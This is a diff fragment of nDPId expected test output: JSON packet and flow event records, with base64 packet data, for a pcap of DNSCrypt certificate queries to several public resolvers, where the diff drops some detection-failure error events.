-00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":237,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739312132157,"pkt":"REREREREZmZmZmZmCABFAABQwbYAub0RkXcKAAABLZm7YAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00776{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":238,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":94,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739312132193,"flow_src_last_pkt_time":946739312132193,"flow_dst_last_pkt_time":946739312132193,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739312132193,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.153.187.96","src_port":46063,"dst_port":4343,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01200{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":238,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":94,"flow_packet_id":1,"flow_src_last_pkt_time":946739312132193,"flow_dst_last_pkt_time":946739312132193,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739312132193,"pkt":"REREREREZmZmZmZmCABFAAIcwbdAAL0RUGMKAAABLZm7YLPvEPcCCKvPMPYBAAABAAAAAAABATINZG5zY3J5cHQtY2VydA9zdGgtZG5zY3J5cHQtc2UAABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00881{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":238,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":94,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739312132193,"flow_src_last_pkt_time":946739312132193,"flow_dst_last_pkt_time":946739312132193,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739312132193,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.153.187.96","src_port":46063,"dst_port":4343,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} @@ -483,8 +421,6 @@ 00779{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":240,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":96,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739312132266,"flow_src_last_pkt_time":946739312132266,"flow_dst_last_pkt_time":946739312132266,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739312132266,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.153.187.96","src_port":40451,"dst_port":4343,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02483{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":240,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":96,"flow_packet_id":1,"flow_src_last_pkt_time":946739312132266,"flow_dst_last_pkt_time":946739312132266,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739312132266,"pkt":"REREREREZmZmZmZmCABFAAXcwbkgAL0RbKEKAAABLZm7YJ4DEPcGBMSXMPcBAAABAAAAAAABATINZG5zY3J5cHQtY2VydA9zdGgtZG5zY3J5cHQtc2UAABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00884{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":240,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":96,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739312132266,"flow_src_last_pkt_time":946739312132266,"flow_dst_last_pkt_time":946739312132266,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739312132266,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.153.187.96","src_port":40451,"dst_port":4343,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":241,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739312132283} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":241,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739312132266,"pkt":"REREREREZmZmZmZmCABFAABQwbkAub0RkXQKAAABLZm7YAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00768{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":242,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":88,"flow_packet_id":2,"flow_src_last_pkt_time":946739312105859,"flow_dst_last_pkt_time":946739312132855,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":231,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":231,"pkt_l4_len":197,"thread_ts_usec":946739312132855,"pkt":"ZmZmZmZmRERERERECABFAADZ1M0AADURfjozDz5BCgAAAQG7gvEAxUKLxUSBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydA5za3lmaWdodGVyLWRucwNjb20AABAAAcAMABAAAQAAcIAAfXxETlNDAAIAAG60zsERLlFII2wj6zTIwofCbgq4wxjKMp9YEu9fS884Cf11c1Q4cTQ+J+ZjK7ZH4aaqK8VPbAGFYW80ueYrfwU8FAQJxEup2Hwk1EI2Qz7npiyDDRkpQyGDCxkaPRZtbjwUBAnES6nYAAAAAV9TrQRfVP6E"} 00768{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":243,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":86,"flow_packet_id":2,"flow_src_last_pkt_time":946739312105560,"flow_dst_last_pkt_time":946739312133331,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":231,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":231,"pkt_l4_len":197,"thread_ts_usec":946739312133331,"pkt":"ZmZmZmZmRERERERECABFAADZ1MoAADURfj0zDz5BCgAAAQG7s6kAxRHOxUmBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydA5za3lmaWdodGVyLWRucwNjb20AABAAAcAMABAAAQAAcIAAfXxETlNDAAIAAG60zsERLlFII2wj6zTIwofCbgq4wxjKMp9YEu9fS884Cf11c1Q4cTQ+J+ZjK7ZH4aaqK8VPbAGFYW80ueYrfwU8FAQJxEup2Hwk1EI2Qz7npiyDDRkpQyGDCxkaPRZtbjwUBAnES6nYAAAAAV9TrQRfVP6E"} 00768{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":244,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":90,"flow_packet_id":2,"flow_src_last_pkt_time":946739312106245,"flow_dst_last_pkt_time":946739312136620,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":231,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":231,"pkt_l4_len":197,"thread_ts_usec":946739312136620,"pkt":"ZmZmZmZmRERERERECABFAADZ1M4AADURfjkzDz5BCgAAAQG77T8Axdg5xUeBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydA5za3lmaWdodGVyLWRucwNjb20AABAAAcAMABAAAQAAcIAAfXxETlNDAAIAAG60zsERLlFII2wj6zTIwofCbgq4wxjKMp9YEu9fS884Cf11c1Q4cTQ+J+ZjK7ZH4aaqK8VPbAGFYW80ueYrfwU8FAQJxEup2Hwk1EI2Qz7npiyDDRkpQyGDCxkaPRZtbjwUBAnES6nYAAAAAV9TrQRfVP6E"} @@ -501,24 +437,18 @@ 00777{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":253,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":98,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739312286028,"flow_src_last_pkt_time":946739312286028,"flow_dst_last_pkt_time":946739312286028,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739312286028,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"66.85.30.115","src_port":48448,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02483{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":253,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":98,"flow_packet_id":1,"flow_src_last_pkt_time":946739312286028,"flow_dst_last_pkt_time":946739312286028,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739312286028,"pkt":"REREREREZmZmZmZmCABFAAXcaDMgAL0RTlkKAAABQlUec71AAbsGBPfPLCkBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00882{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":253,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":98,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739312286028,"flow_src_last_pkt_time":946739312286028,"flow_dst_last_pkt_time":946739312286028,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739312286028,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"66.85.30.115","src_port":48448,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":254,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739312286045} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":254,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739312286028,"pkt":"REREREREZmZmZmZmCABFAABQaDMAub0RcywKAAABQlUecwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00774{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":255,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":99,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739312286047,"flow_src_last_pkt_time":946739312286047,"flow_dst_last_pkt_time":946739312286047,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739312286047,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"66.85.30.115","src_port":40099,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01200{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":255,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":99,"flow_packet_id":1,"flow_src_last_pkt_time":946739312286047,"flow_dst_last_pkt_time":946739312286047,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739312286047,"pkt":"REREREREZmZmZmZmCABFAAIcaDRAAL0RMhgKAAABQlUec5yjAbsCCCOeLCoBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00879{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":255,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":99,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739312286047,"flow_src_last_pkt_time":946739312286047,"flow_dst_last_pkt_time":946739312286047,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739312286047,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"66.85.30.115","src_port":40099,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} 00778{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":256,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":100,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739312286137,"flow_src_last_pkt_time":946739312286137,"flow_dst_last_pkt_time":946739312286137,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739312286137,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"66.85.30.115","src_port":47432,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":256,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":100,"flow_packet_id":1,"flow_src_last_pkt_time":946739312286137,"flow_dst_last_pkt_time":946739312286137,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739312286137,"pkt":"REREREREZmZmZmZmCABFAAXcaDUgAL0RTlcKAAABQlUec7lIAbsGBPvFLCsBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA